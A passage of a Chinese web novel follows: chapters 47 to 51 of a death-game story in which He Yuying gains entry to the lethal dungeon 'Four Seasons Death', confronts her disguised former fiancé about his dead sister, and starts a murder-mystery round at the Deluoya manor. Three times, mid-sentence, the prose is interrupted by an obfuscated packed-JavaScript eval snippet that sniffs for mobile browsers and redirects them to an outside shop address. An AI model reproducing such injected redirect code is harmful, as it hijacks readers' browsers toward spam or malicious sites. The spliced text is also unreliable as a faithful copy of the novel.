她盘腿坐了下来,抬头看向远处的太阳。冬季雾浓,太阳的轮廓被渲染得模糊不清。 捋起袖子,冰凉的刀刃对准手腕,一回生二回熟,贺玉盈连一道多余的伤口都没留下。 失去意识后的下一秒,像是打了整整三瓶葡萄糖一样,贺玉盈又立刻清醒过来,手腕光洁如新。 【恭喜玩家4730通关隐藏髓海“阿帕忒”】 【正在判定本局表现……】 【您在本局髓海中表现评分为S级】 【隐藏副本无元核奖励】 【正在计算特殊奖励……】 特殊奖励? 贺玉盈百无聊赖地想,难道又是钥匙什么的? 或者是什么高大上的道具? 【恭喜玩家4730获取髓海“四季死”的资格名额】 【正在检测账户余额……】 【您目前的账户余额为:423元核】 【检测到您的账户余额不足1000元核,无法开启髓海“四季死”】 【助手提示:玩家4730可在账户余额达到1000元核后随意开启髓海“四季死”。玩家可自行选择单人模式或组队模式。】 【注意:组队模式不可超过十人,且十名玩家均须拥有髓海资格名额】 【助手温馨提示:“四季死”为特殊髓海,危险程度极高,若无万全准备,玩家谨慎进入】 贺玉盈表情惊愕。 四季死? 这个副本的名字怎么这么熟悉…… 等等。 她听说过。陈绘告诉过她。 溢朱的创始人就死在一个叫做【四季死】的副本中。 这两个【四季死】是同一个髓海吗? 如果是的话,如果是的话…… 这未免也巧得过头了。 48. 第48章 我不明白 窗外高楼林立,厚重的玻璃反射出神秘的色彩,外形各异的飞船交错其间,川流不息。这是个冷酷、秩序井然的世界。 窗内,贺玉盈端起咖啡喝了一口。热腾腾的咖啡消去了她多日来的疲惫和不安。这家店是她之前偶尔发现的好地方,这里的咖啡不是从柜子里拿出来的,而是人做的。老板说她很喜欢做咖啡,尤其喜欢拉花,因此她在原世界开了家咖啡店。即使到了这种地方,她也依然保持着自己的热爱。 放下杯子,贺玉盈看向对面的人,说:“开门见山,陈绘,我有些事情需要问你。” 陈绘不喜欢咖啡的苦涩,她觉得那像泥土的味道。 听到贺玉盈说话,她紧皱的眉头也没有松下来:“说吧,有什么事?能告诉你的,我都会告诉你。” “怕就怕这是你不能告诉我的。” 陈绘眉头一拧,“你想问什么?” “【四季死】。”贺玉盈说,“进游戏前那天晚上,我记得你偶然提起过这个副本,你说‘溢朱的创始人’就死在这个副本中。我想知道,这个副本究竟是什么?” 话落,她观察到对方露出一个懊恼的表情,随后又整理好情绪,淡定答道:“突然问我这个,你知道了什么?” “知道了一些,不过不多,所以才想来问你。”贺玉盈老实道,“这是个很特殊的副本?” 陈绘叹气:“你不要告诉我,你已经可以进入这个副本了。” 贺玉盈道:“我确实可以进入这个副本了。” 意料之中的回答。 陈绘勉强喝下一口咖啡,舌尖的苦涩淡淡的,却挥之不去。她咂咂嘴,后知后觉间竟然品味到了醇厚的香味。 “【四季死】,顾名思义,是【生与死】的副本。【四季】象征“生生不息”,而【死】象征“死亡”。我了解得不多,只知道这是一个有去无回的副本。据我所知,进入的玩家,没有一个活着回来。”陈绘说,“如果你想进入这个副本,我的建议,就是不要贸然行动。” 贺玉盈说:“‘有去无回’?这四个字……” “你也觉得大有文章对不对?”陈绘笑了一下,低头啜饮一口,继续道,“我们猜测:【四季死】很可能连接着现实与奇恒之府,那些进去却没有再回来的人,不是死了,而是回到现实,过上平稳的生活了。” “这么说,这个副本我很有必要去一次。” “我才说过的话你这就忘记了?”陈绘说,“不要贸然行动!那些都只是猜测而已,真实性有待商榷。但进入副本的人,可是实实在在没有再回来。再退一步,如果猜测是真,也绝不意味着是什么好事,那里面想必更加杀机重重。我告诉你,是因为你有资格知道,不是让你鲁莽。” 她顿了顿,接着说:“关于这个副本的信息只有很少一部分人知道。据我所知,各个公会的骨干成员都在寻找进入【四季死】的方法,可是大多数人都毫无头绪。作为交换,你能告诉我你的情况吗?” 贺玉盈仔细回想了一番,发现【助手】并没有对此作出限制,于是坦然地告诉了她自己的经历。 “原来是这样。很符合【四季死】的副本风格。”听完后,陈绘感叹道。 “你也要尝试?” 陈绘笑着摇摇头:“不。从你告诉我的这一瞬间起,这种获取资格的方法就已经对我失去了效力,游戏不会让我们钻这种空子的。我只是因为好奇才问你而已。” 两人相对而坐,一时无言。 “……回想起第一次见面,我发现你玩游戏有一种独特的风格,那之后我觉得你肯定能崭露头角,没想到这么快,你就摸到了离开的大门。”陈绘的目光投向窗外,缓缓说道,“我在这里,已经待了好几年了。三年,还是四年来着……” “这个地方都是假的。” 陈绘的目光震颤,不可思议地看向贺玉盈。 贺玉盈说:“像梦境一样的地方,等离开这里,回到现实,所有的经历都会变得模糊不清。虚假的东西,不值得我们付出多余的感情。” 陈绘怔了怔,点点头:“你说得对。” 贺玉盈又说:“除此之外,我还有一件事想让你帮忙。我不打算一个人进副本,所以需要有同样资格的队友,你认识这些人吗?” “认识到算不上,我能给你提供几个人,这些人很有可能是拥有资格的人,但我无法保证,所以你需要和他们接触。” “帮大忙了。”贺玉盈说,“哪些人?” “有一个你和我都认识,明堂的戚司命。除了他,还有洞房的宋荷,泥丸的张致……这些人都和你一样,正在寻找适合的队友。” 贺玉盈喃喃道:“张致……” “怎么?你认识?” “不。”她摇摇头,“只是有一种熟悉的感觉。” “跟张致认识不算什么好事。他虽然不像戚司命那么古怪,但是为人阴险不正,为达目的不择手段,是个‘物尽其用’的人。” 如果在一局游戏里碰见了戚司命,需要提防被玩死,那么换作张致,则是要提防自己被利用死。 贺玉盈点点头:“谢谢提醒,如果和他碰上了,我会注意。” 虽然,似乎已经碰上过了。 “宋荷很正义。我曾经和她进过一局游戏,多少了解一点。她各方面都非常出众,绝对是玩家中的佼佼者,唯一的问题……” 陈绘一边回想,一边斟酌着用词:“可能是太过‘正义’了,很多时候她会表现得有点轴。具体是什么样的,我不好说,如果你有机会和她接触,自己感受吧。” “非常感谢。”贺玉盈真情实感地说,“你帮了我很多。” “顺嘴的事,不值一提。”顿了顿,陈绘想起什么似的,“你打算什么时候进【四季死】?” 贺玉盈道:“找到队友后,再过两三个副本吧。” “也就是说,两个月后?” “差不多吧。”贺玉盈说,“进去前,我会告诉你的。” “不用告诉我……”陈绘的声音戛然而止,随后又改口,“算了,你还是告诉我吧。毕竟你也算是我带过来的,我可不想连你什么时候走的都不知道。到那时,我送送你?” “好啊。”贺玉盈笑了一下,“能有个朋友送我进这种副本,还挺幸福的。” 陈绘啧了一声,低头抿了一口余温的咖啡。 和陈绘告别后,贺玉盈便收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437030|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几条讯息。她看着上面的内容,回复了其中几条后,就乘坐飞船,来到了一栋公寓下。她输入密钥,打开公寓的大门,走进电梯,上到了第十二层。 电梯门打开,徐伏隐就站在门口等她。 “来得这么快?” “嗯。”贺玉盈点点头,跨出电梯,跟在他的身后,“收到你的消息我就马上过来了,没有打扰到你吧?” “没有。”徐伏隐打开自家的门,侧身让贺玉盈先进,“没想到你会突然来找我,有什么事吗?” “没事就不能来找你?” 他愣了愣,关上门,从鞋柜里拿出崭新的拖鞋,却听见她说: “不用麻烦,有鞋套吗?” 徐伏隐将拖鞋放了回去,“家里不干净,直接进来吧。” 贺玉盈点点头,直接走了进去,环顾了一下这个屋子,心中不禁与她见过的房子——陈绘的房子,做起了比较。 比陈绘的大一点儿。基础设计的家具,规规矩矩的摆设,满屋子冷色调,就像一个酒店。 “你一个人住?” 这是个无聊的问题,因为贺玉盈已经看到鞋柜里只有他一个人的鞋。他能拿出那双带点儿可爱的拖鞋着实让她吃惊了一下。 “是。我一个人。” 贺玉盈坐到沙发上,徐伏隐去倒了杯水给她。 她端着杯子,问道:“……你来这里多久了?” “很久了。”徐伏隐没有半点儿隐瞒的意思,“久到有点儿不记得了。” “那么久。”贺玉盈说,“你没有想过要回去吗?” “回去?去哪儿?” “现实。” 徐伏隐轻轻摇了摇头:“对我来说,这里就是现实。” “……” “你是特意来找我聊天的吗?” “不是。”贺玉盈忽然坐直身体,冷峻道,“我是来和你对峙的。” “对峙?” “是,对峙。”贺玉盈将杯子稳稳地放到手边的茶几上,她一口也没喝,“如果你现在能向我坦诚的话,我们接下来的谈话会顺畅很多。” 闻言,徐伏隐的目光从那杯水收回,说:“这是一个忏悔的机会?” “你要这么想,也没问题。” “我不记得我有哪里做得不对。” 她定定地看着他,看了足足有一分钟之久,他同样也毫不避讳地迎上她的目光。 良久,贺玉盈面无表情地说:“还要装吗,陆州?你的演技其实很拙劣。” 这回,换作他定定地看着她。 “我不明白。” “你不明白?”贺玉盈已经被气笑了,可是面上仍然无动于衷,“事到如今,我不想陪你演了,你还不明白什么?从始至终,你有打算认真地瞒过我吗?不就是等着这一天?” 如果陆州真的想要骗过她,又怎么会处处都露出破绽? 如果他想要骗她,就该像之前那样,骗得她流干了眼泪,骗得她主动走进德落亚。 他演得这么假,一点也不遮掩,不就是在等她认出他? 现在她认出了他,不打算陪他玩了,他还在装什么?说什么“我不明白”?! 49. 第49章 她是我的亲人 徐伏隐顿了顿,顾左右而言他:“杯里的水快冷了。” 杯子被狠狠摔在茶几上,动作剧烈到贺玉盈的手背溅上了一片温热。 “你别生气。”他的眼珠僵硬地转动。 “我没生气。”贺玉盈说,“气早就已经消了。这只是我表达当下不满的方式而已。” 生气、愤怒,比起发泄这些情绪,她有更多的事情要做。何况她是如此地了解他,就像他了解她一样。一旦她在他面前失去了管控情绪的理智,他就能把她耍得团团转。 徐伏隐:“对不起。” “你说再多的对不起也没用。”贺玉盈说,“从现在开始,我问,你答。多余的废话就不要再说了。” 徐伏隐居然干脆地点点头:“好。” 贺玉盈深吸一口气:“你跟林璐是什么关系?” 徐伏隐沉默了好一会儿,正当她以为他不会再回答时,他却突然答道:“……她是我的妹妹。亲的。” 和副本里林璐的话能对上,她姑且相信这是真的。 “她现在在哪儿?” 本以为林璐也和他一样,换了张脸,换了个身份,因为不敢见她而悄悄地躲了起来。 但出乎意料的是,“她死了。” 像寒冬腊月里兜头浇来一盆冷水,贺玉盈浑身都僵直了,就连发出的嗓音也干涩无比:“死了?什么时候的事?” 徐伏隐的语气格外平淡,仿佛正在谈论的这个死去的人和他毫无关系,“很早以前。” “有多早?” 他道:“和你认识之前。” 贺玉盈的头似乎被人狠狠砸了一下,她有些头晕眼花地回想起和林璐的过往,那些场景至今历历在目。她们曾手挽手逛街,面对面吃饭,一起聊天吐槽,躺在一张床上睡过觉……她绝对是她至今为止最好的朋友。 此刻贺玉盈有很多问题想问,但千言万语堵在喉口间,最终只化作简单的一句:“她怎么死的?” 徐伏隐终于看向她,沉沉地说:“【四季死】。” 又是这个副本! 短短数天,她能找到的所有的线索都来自这个副本的名字。 这让她怀疑自己就是为了这个副本而生。 “之前偶然一次机会,她得到了进入这个副本的机会。”徐伏隐缓缓道,“……然后她就死在里面。” “她死在副本里后,我花光了所有的积蓄买到这个副本的消息。一部分人只知道【四季死】是生与死的副本,但实际上,这句话还需要补充一点——【四季死】是‘连接’生与死的副本。” 可以为类比神话小说中连接阴间与阳间的黄泉路,奇恒之府为‘阴间’,现实为‘阳间’,【四季死】就是‘黄泉路’。据说死在这个副本里的人,灵魂永不会消散。 “你想进副本?” “我要找到她。她是我的亲人。”徐伏隐说,“如果连她都失去了,我还有什么必要活下来?” 听到这里,贺玉盈就算再蠢也都弄清楚了。 “你要找她,跟我有什么关系?”她冷笑道,“就算你想找人帮忙,也不该用这种拉人下水的手段。” “你说得对,我一个人做不到这件事。”徐伏隐说,“我需要帮手。因此,我建立了一个叫‘紫天极’的组织,希望能够凭借这种手段招揽一些厉害的人。等我们都获得副本资格后,我就和他们一起进入了【四季死】的副本……” 贺玉盈微怔,故事的走向已经有些超出她的预期了。 “这个副本远比我想象得要危险。很不幸的是,我迷失了,并且和我的同伴们失散了。这时,我看见了她。她把我带到了一扇门前,我推开了门。然后,我就遇见了你。” “……事实上有很长一段时间我都不知道自己到底身处哪里,有时我以为自己还在副本里,有时我以为自己在别人口中的‘现实’里。”徐伏隐说,“……直到后来我才知道,她违反奇恒之府的规定把我带去‘现实’,以为这样能让我永远脱离奇恒之府。可即便她再怎样隐瞒,我还是被发现了。由于我既没有输掉游戏,也没有赢得游戏,髓海无法处决我,只好销毁‘我’,又让我‘再生’。” “所以你明知道自己不能永远待在‘现实’,却还是和我在一起,甚至向我求婚?!” “求婚,是因为你不是被奇恒之府选中的人。为了把你带进来,必须要让你和我之间产生联系。” 他们之间的“联系”产生了一个扭曲的空间——髓海德落亚庄园。 除了这个条件以外,还有一个至关重要的条件—— 她要自己走进去。 为了达到这个目的,他故意留下许多蹊跷。因为他知道她一定不会选择装聋作哑。 “所以你……”贺玉盈难以置信地看着他,不知道自己此时应该做出什么样的表情。 “对不起。把你带来奇恒之府,是我一个人的私心。她一直在劝阻我。”徐伏隐一眨不眨地看着她,“但是和你在一起,只是因为……” “或许你不相信……”他顿了顿,“因为我真的喜欢你。” 当他知道自己不能在那个世界停留太久时,他唯一的想法竟然是要将她一起带走。一个人在髓海里穿梭,让他觉得生命如此无趣,可是如果她在,再无趣的生活也让人期待起来。 可是等他真的在奇恒之府看见她时,他又后悔了。 “现实”充满着希望,而这里,只有死亡。 妹妹已经死在游戏里了,他无法想象如果她也死在这里,他会有多么的绝望。 “你接近我,不是为了让我和你一起进【四季死】的副本?” “不是。”徐伏隐说。 “那真是太不凑巧了。”贺玉盈挑挑眉露出一个仿若胜利一般的笑容,好似她终于能从一处打败他,“我已经获得了这个副本的资格,而且我一定要进去。” 徐伏隐瞳孔一缩:“你不能进!不……如果你要进的话,我必须要和你一起!” 贺玉盈站起身,居高临下地看着他:“招募队友是我的事。必须?你有什么资格要求我?” “贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520399|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉盈!”徐伏隐匆匆起身攥住她的手腕,“你还说没有生气,明明你知道接受我的提议是最优解。【四季死】的队友并不好找,在奇恒之府想要找到几个拥有资格的玩家无异于大海捞针。如果你同意我加入,我还能给你介绍合适的队友。” 贺玉盈扯出自己的手腕,微微活动了一下:“……我不信任你,同样也不信任你的队友。” 她正要离开,蓦地又感受到一股阻力。贺玉盈回头看去,他仍然不依不饶地拉住她的胳膊,嘴上还说着让人无语至极的话:“你再好好想想……” “那么我们就用老办法解决问题。”她说。 徐伏隐抬微微睁圆了眼睛。 在以往的相处中,两人难免也会遇上产生分歧后,谁也无法说服谁的情况。这个时候,为了解决问题,他们会选择游戏pk的方式来处理,简单直接。 胜者掌握绝对话语权。 此外,如果两人因为意见不同而心怀怒火,也能通过pk的方式发泄出来。 既然这里是奇恒之府,当然要用奇恒之府的规矩解决问题…… “在髓海里一决胜负。”贺玉盈说,“这里是游戏的时间,应该有办法开个‘房间’让我们比赛吧?” 徐伏隐:“有。我来操作。时间你定。” “一个月以后。”贺玉盈说,“我们各自找四个队友,分两队。” 徐伏隐:“好。” 不得不说这是一个好方法。 如果他们两人各自的队友将要一起进入【四季死】,借此机会,不仅能了解对方实力,还能进一步熟悉彼此。换言之,未来在副本中遇到危险,也能更放心地将后背托付给对方。 看来她虽然依旧没有原谅他,但终归是理智占了上风。 他清楚地知道她想要回去,回到“现实”。 …… 找到四个认识的人不算难事,贺玉盈粗粗一数,就能说出好几个人名。可要找到四个肯为她下副本的人就很难了。 尤其副本的对手还是徐伏隐。 面对他,贺玉盈不敢保证自己究竟是输还是赢。 游戏失败的人有扣除元核的惩罚,她不能因为个人恩怨牵扯上别人。 因此,贺玉盈不惜长篇大论地向认识的朋友们描述这个“决斗”副本的危险之处。 不知道是不是有滤镜存在,余渺渺秒回,同意陪她一起下副本。这让贺玉盈有点担心她是不是根本没有看那串长长的消息。 陈绘过了两分钟才回,就简单地两个字:“可以”。 何年景先是拒绝了她,然后又编辑了几条消息解释了原因。她原本是想要陪她一起的,但考虑到贺玉盈对对手的描述太过强大,而她的余额确实不足以支撑自己输掉游戏,所以只好拒绝了。 兜兜转转,贺玉盈只找到了两个队友。 她并不着急,还有一个月呢。 假如她找不齐四个人,那么她就一个人进入游戏副本。即使败局已定也没关系。 一局游戏,并不只是为了胜负。 50. 第50章 血色的德落亚 之所以要将时间约定在一个月以后,只是因为贺玉盈的余额不够了。 423距离1000还差两个副本左右。 她已经决定了,这次赢下一个副本,再赢下和徐伏隐的副本,她就能开启【四季死】。 …… 总之,奇恒之府的生活实在是乏善可陈。贺玉盈提前买下了髓海的消息,在休息舱宅了十多天研究。期间不管她收到了谁发来的消息都一概不理。 兴许是她与德落亚庄园有着奇妙的联系,就连这次的线索也和德落亚有关——更不如说十分明显地有关联。 线索是——【德落亚庄园】。 …… 乳白的光晕逐渐散去,贺玉盈发现自己站在了宅邸的门前。 推开门,一个黑发男人转过头,对她打了声招呼。 助手的声音在脑海中挥之不散。 【血色的德落亚】。这是髓海的名字。 宋荷进入宅邸的时候,发现人几乎已经来齐了。她环顾了下众人的打扮,顶着众人的视线,面色不改地拉开倒数第二把椅子,坐了下来。她的餐盘旁放着一把古铜色的钥匙,仔细一看,每个座位的餐盘旁都放着一把钥匙。 身旁的女生见她坐在旁边,冲她搭话道:“你好。” “你好。”宋荷点头致意,“人没来齐吗?” “应该吧。”贺玉盈说,“这里有十把椅子,只坐了九个人。” 宋荷:“这样啊。” 对话就此结束。 髓海的季节似乎也会变化,此时德落亚不像之前那么炎热,而是微微带着秋的凉意。夜色逐渐加深,九人竟然就这样一言不发地坐到了深夜,中途甚至没有一个人离开过。 “真奇怪。”终于有人按捺不住开口说话,“难道就只有我们九个人?” 这人穿着中世纪的骑士装。 ”不可能。”立刻有人反驳,“桌上摆了十把钥匙,肯定是十个人。问题是,最后那个人怎么还不出现?” 这是一位打扮像神父的中年人。 穿着贵妇装的贺玉盈说:“我们的任务都是一样的——找出潜藏在我们之间的杀手。如果最后这个人一直不出现,是不是代表他就是杀手?” 少女打扮的宋荷看了她一眼,缓缓道:“这样做岂不是第一天就暴露自己了?” “说不定对他而言,躲起来更方便下手。”贵族打扮的棕发男人说。 宋荷:“我不认可。比起暴露身份,让对手提防自己,还是潜藏在我们之间更明智。” 棕发男人:“潜藏在我们之间总会被怀疑的吧?说不定这个人不擅长演戏呢。” “张口闭口‘说不定’,你的‘说不定’毫无根据。”宋荷的声音冷冷的。 棕发:“你——!” 骑士说:“算了吧。第一天就吵架,你们是新人吗?” 餐桌上总算消停了。 骑士见他们不再说话,继续说:“这次的游戏有点特殊,条条框框太多了……你们有人之前是玩过德落亚的吗?” 餐桌上还是一片寂静。 “有点麻烦了。”骑士挠挠头,说,“本来还想问问有没有杀手躲起来的先例的。” 戴着小王冠,一副王子装束的蓝发少年嗤笑一声:“这种情况下谁会承认自己玩过?要我说,现在讨论多少都没意义。游戏还没开始呢。” 话音刚落,一位年迈的管家突然便出现在众人面前。他顶着一头稀疏的花白的头发,身材枯瘦,脸颊凹陷,干瘪的双手裹着一层又薄又皱的皮,上面长满了斑。虽然衣着得体整洁,但仍能看出这位管家显然年事已高。 他用那浑浊的双眼扫视着在场的每一个人,像鹰隼一样锐利无比。 “各位客人,”他开口了,意外的是,声音竟然铿锵有力,“相信诸位已经听说了发生在庄园中的惨事——我们的女主人,可敬可佩的韦尔斯利女主人在昨晚被人谋杀!虽然在宴会的第一天便遇见如此不幸,可我还是打算遵照主人的愿望,将宴会进行下去!因此!在宴会彻底结束之前,各位客人都不得离开庄园,以示对主人的尊敬。除此之外,我已得到确切消息,谋杀主人的凶手,就藏在你们之中!晚宴将会持续七天。宴会结束后,我将会通知警方,将凶手处以绞刑。” 说到这里,他的声音逐渐高昂,似乎在强压胸中的愤怒:“主人好心邀请诸位,却反遭背叛!这实在令人难以接受!所以,如果诸位不能在警察到来之前找出那位凶手,我将视诸位为同谋,一同移交警方。” 又是这种游戏。贺玉盈想。 “如果诸位心中已有人选,可以按下餐桌上的铃。铃响之时,我就会来到餐厅。其他时候,我不会出现在诸位面前。”说着,管家在桌首放下一个红色的按钮,“不过,即使诸位检举失败,被检举的人仍须接受惩罚!” 他的声音渐渐平复下来,抬起双手整理了一下胸前的领结,“这是为了避免因诸位怀有侥幸而频繁按铃,以致影响宴会气氛,请谅解。” “夜已深了,诸位可以继续用餐,也可以回到房间。切记!”管家向大家鞠了一躬,“为了保证客人的安全,凌晨一点后,诸位不要踏出房门。” 蓝发少年问道:“我们能去案发现场吗?” “当然可以。”管家说,“诸位客人能任意在庄园内活动。” “那么,韦尔斯利夫人的尸体现在在哪里?”精明干练的中年女人推了推镜框,道。 “在主人自己的卧室中,夫人。”管家彬彬有礼道,“主人的卧室在宅邸第四层走廊最里面的房间。以免破坏现场,我已将案发现场一比一还原。” 众人一阵缄默。 管家道:“客人还有其他问题吗?” 众人还是沉默着,于是管家又鞠了一躬,颤颤巍巍地离开了餐厅。 神父道:“你们有什么想法吗?” 联系管家和助手的提示,他们可以提炼出以下信息。 一、任务的关键是找出谋杀韦尔斯利夫人,即庄园主人的凶手。 二、凶手仍在他们十人之中,可能会不惜使用任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566155|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何手段阻挠他们发现真相。 三、无论被检举者是否为凶手,被检举者都会死亡。 四、凌晨一点后,所有客人都会陷入昏睡,只有凶手能够正常行动。 五、时间期限为七天。 “还有一点,”戴眼镜的女人慢条斯理地说,“你们有没有注意我们身上的衣服?正常来说,进入游戏是不需要更换衣服的,尤其是在这种侦探游戏里。我们身上的服饰代表了不同的身份,不如说,在这场游戏中,我们或许还‘扮演’着某种角色。” “所以,衣服也是一条线索。”神父说。 蓝发少年嚷嚷道:“剧本杀嘛!” 女人似乎是剜了他一眼,这才冷冰冰道:“……接下来的时间,我们最好不要遗忘这条线索,也许会有意想不到的发现。” 众人都表示同意。贺玉盈注意到宋荷也认真地点点头。 骑士说:“如果按照这个思路推测下去,这是不是就表明凶手有杀害女主人的动机?” 动机。 这是个久违的词语。 在现实生活中,谋杀往往伴随着动机。而在奇恒之府中,谋杀只是一场游戏的开启。 在第一局德落亚中,戚司命杀人完全是兴之所至,毫无动机可言。因此,找到他才显得如此困难。 而如果真如他们推测的那样,女主人的死亡是因某种动机而起,那么在这局游戏中,凶手显然处于不利地位。 “不然今天就这样吧。大家各自回去睡觉,明天游戏才开始呢。”一位穿着紧身皮衣,皮肤稍黑的女人撩了一把头发,道。 黑发,打扮如同园丁的男人看了看天色,同意道:“确实很晚了。要是过凌晨就麻烦了,我们得赶紧分好房间,进屋锁门。” 这话一出,九人总算有了点紧迫感。 他们纷纷分好房间,各自离开餐厅。至于餐桌上的食物,自然是一口没动。 由于游戏有了个【过凌晨一点,每位玩家都会陷入昏睡】的规则,因此每个人都毫无疑问地自己单独一个房间。毕竟,谁也不敢保证和自己住在一起的人,是不是杀手。 贺玉盈分到的房间在第二层。 与上次游戏不同的是,这座宅邸有了细微的变化。每间房间都多了一个凸出的阳台。这意味着凶手可以轻易地通过阳台在穿梭在每个房间中。 只要能打碎,或者打开阳台的玻璃门,凶手就能轻易地进入到房间中。 而房间里的人陷入昏睡,就意味着无论凶手发出多大的动静,都不会被惊醒。 这是个明显有利于凶手的规则。鉴于游戏的公平性,贺玉盈合理认为这次游戏也会在某一个地方限制凶手的行动。 就像上次戚司命一样。 另外再说一句无关紧要的话,之前贺玉盈不在餐桌上承认自己有玩过德落亚的经验,只是因为她不想成为众矢之的。仅此而已。 她仔仔细细地检查好门锁,不遗余力地搜寻了房间的每一个角落,最后才垂着头坐在床边,静静地等待着凌晨一点的到来。 51. 第51章 血色的德落亚 因为女主人的惨死,庄园再不复昨日宴会的热闹,只残存些许欢声笑语的痕迹。庄园的仆从各司其职,训练有素,除非主动搭话,否则便始终不言不语,低着头沉默地干活。沿着走廊一路走来,吊灯被擦得锃亮,墙边的鲜花还带着清亮的露水,一看便有仆人时时照料。 贺玉盈走进餐厅时,正碰上几名厨娘端着餐盘鱼贯而出。餐盘上放着昨天的晚餐。 她侧身让厨娘们先过,然后走到昨天的座位上,拉开椅子坐下。 宋荷道:“来得这么早?” “是啊,一晚上心惊胆战的,天亮才睡了会儿。” “那可不行。”宋荷道,“后面正需要动脑子。” 贺玉盈说:“说实话,对现在的状况,我还一头雾水。”看了看在座的人,又问:“就我们几个?” 已经到餐厅的人有贺玉盈、宋荷、骑士和神父。 话音刚落,蓝发王子便和厨娘们一起走了进来。他笑意盎然地向众人打了个招呼,坐在昨天的座位上。 年轻的厨娘们安静地为众人布置好热腾腾的早餐,随后悄无声息地离开。就像一群幽灵。 精明能干的中年女人就在这时走了进来,她趾高气扬地命令厨娘们让开。安静的厨娘们像是一群木偶,老老实实地照她说的话做,分开两侧,为她让开了一条较为宽阔的道路。 待她走过后,她们又自动合为一条蚂蚁似的小队伍,有条不紊地离开了餐厅。 所有人都沉默地注视着这一幕,没有一个人出言打扰。 中年女人绷着脸坐到座位上,道:“她们是哑巴?一点儿反应也没有。” 王子:“是因为没有触发她们的开关吧!这个游戏的本质不是剧本杀吗?现在我们连自己是谁都不知道,在她们眼里,我们的脸上大概糊了一堆马赛克……?” 女人冷嘲热讽道:“年轻就是好,想象力真丰富。” 王子淡淡地回给她一个微笑。 “可是如果不能从这些仆人的口中得知我们的身份,还能从哪个地方知道?”不会看气氛的骑士说道。 神父皱皱眉:“总不能把管家叫来问吧。” 女人哼道:“把管家叫来?那个铃是让我们检举凶手的,把他叫来了,我们该检举谁?” 宋荷沉吟:“如果管家愿意说,昨晚就应该告诉我们身份了。既然他没有提起,看来还是需要我们自己找。” 杯中的牛奶冒着白色的热气,王子拿起一片吐司,涂满果酱,一边喝着牛奶一边心满意足地嚼着。他本想把腿盘到桌子上,但由于服饰的约束,最终还是放弃了。 他一动作,其余的人都渐渐吃了起来。 众人从昨天到现在连一滴水也没喝,早就饥肠辘辘。 “哟,你们都吃起来了。”棕发贵族踏着皮靴走进餐厅,扬眉道,“真丰盛。我饿得快忍受不了了。” 切下一片烟熏的火腿放进嘴里,饮下杯中的低浓度的酒,他由衷赞叹道:“宴会。真是不错。” 骑士笑了:“这可是会死人的宴会。” “死人?女主人不是已经被谋杀了?” 神父道:“凶手也许还会接着对我们下手。” “毕竟,”宋荷淡淡补充道,“我们也是故事中的一员。” 仇杀、情杀、灭口、谋利……都有可能。 杂乱的脚步声传来,依稀能辨认出是两个人。 下一刻,黑肤的女人和黑发的男人先后出现在餐厅口。 待两人坐下后,有人问道:“你们一起来的?” 黑肤女人看向说话的骑士,点点头:“对,恰巧路上遇见了。” 骑士耸耸肩,没再说话。 王子点了点人数,道:“昨天是平安夜啊。凶手不杀人吗?为什么?” 他歪歪头,显出疑惑的表情。 “不仅如此,你们发现没有……”贵族道,“‘第十人’还没出现。” 顺着他的眼神看去,第十把椅子前放着的古铜色钥匙格外刺眼。 神父道:“确实很离奇。” 王子:“不会是死了吧?” 贵族道:“要我说,他就是凶手!” 宋荷的手指抵着下巴,静静地思索着。 精明的女人道:“最好这个人是死了。” “如果那个人是死了,不就正说明凶手在我们九个人之间吗?”黑肤女人挑挑眉。 此话一出,桌上的其余八人都陷入了诡异的寂静中。 有人垂下头一言不发,竭力降低自己的存在感,有人掀起眼皮,似笑非笑。 宋荷身体紧绷,垂下睫毛,指节无意识地轻叩桌面。 “尽快吃完早餐找线索。”女人严肃道,“分头行动,一部分人负责身份线索,一部分人负责宅邸各处,其余人去凶杀现场。有问题吗?” 看得出来这位女士是一个习惯发号施令的人,即使她并不认为自己高人一等,但积年累月下来的习惯,仍旧使她给人一种高高在上的感觉。虽然用的是问句,可她的表情和语气都透露出一种不容置疑的坚决,显然她并不认为有人会反对她。 可是—— “有。”看起来年纪最小的王子的第一个对她提出质疑,“我们凭什么听你的?” 他的脸上带着微弱的挑衅的笑容。 看得出来,王子未必是不信任她的实力,只不过是故意和女人作对。 这个年纪的少年非常不喜欢别人对自己颐指气使。 女人冷笑着,“那随便你们。” 用餐巾擦了擦嘴角,她便起身离开了。 她不觉得自己受到了侮辱,只是懒得多费口舌。 见她的背影彻底消失,王子笑了一下,对众人做了个无辜的表情:“不关我的事。” 少来。贺玉盈默默吐槽。 在场的其他人一致认为女人的提议有几分道理,像她说的那样做的确能够面面俱到,并且还能互相监视,效率是显而易见的。 